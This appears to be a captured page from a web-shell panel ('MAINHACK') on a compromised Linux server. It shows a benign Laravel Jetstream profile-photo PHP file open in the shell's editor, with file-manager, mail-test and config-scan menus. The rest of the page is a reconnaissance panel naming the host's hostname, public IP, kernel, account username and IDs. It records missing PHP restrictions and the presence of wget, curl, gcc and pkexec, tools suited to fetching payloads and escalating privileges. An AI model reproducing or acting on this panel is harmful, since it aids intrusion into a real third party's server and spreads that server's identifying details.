[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: HasProfilePhoto.php
<?php namespace Laravel\Jetstream; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Http\UploadedFile; use Illuminate\Support\Facades\Storage; trait HasProfilePhoto { /** * Update the user's profile photo. * * @param \Illuminate\Http\UploadedFile $photo * @param string $storagePath * @return void */ public function updateProfilePhoto(UploadedFile $photo, $storagePath = 'profile-photos') { tap($this->profile_photo_path, function ($previous) use ($photo, $storagePath) { $this->forceFill([ 'profile_photo_path' => $photo->storePublicly( $storagePath, ['disk' => $this->profilePhotoDisk()] ), ])->save(); if ($previous) { Storage::disk($this->profilePhotoDisk())->delete($previous); } }); } /** * Delete the user's profile photo. * * @return void */ public function deleteProfilePhoto() { if (! Features::managesProfilePhotos()) { return; } if (is_null($this->profile_photo_path)) { return; } Storage::disk($this->profilePhotoDisk())->delete($this->profile_photo_path); $this->forceFill([ 'profile_photo_path' => null, ])->save(); } /** * Get the URL to the user's profile photo. * * @return \Illuminate\Database\Eloquent\Casts\Attribute */ public function profilePhotoUrl(): Attribute { return Attribute::get(function (): string { return $this->profile_photo_path ? Storage::disk($this->profilePhotoDisk())->url($this->profile_photo_path) : $this->defaultProfilePhotoUrl(); }); } /** * Get the default profile photo URL if no profile photo has been uploaded. * * @return string */ protected function defaultProfilePhotoUrl() { $name = trim(collect(explode(' ', $this->name))->map(function ($segment) { return mb_substr($segment, 0, 1); })->join(' ')); return 'https://ui-avatars.com/api/?name='.urlencode($name).'&color=7F9CF5&background=EBF4FF'; } /** * Get the disk that profile photos should be stored on. * * @return string */ protected function profilePhotoDisk() { return isset($_ENV['VAPOR_ARTIFACT_NAME']) ? 's3' : config('jetstream.profile_photo_disk', 'public'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002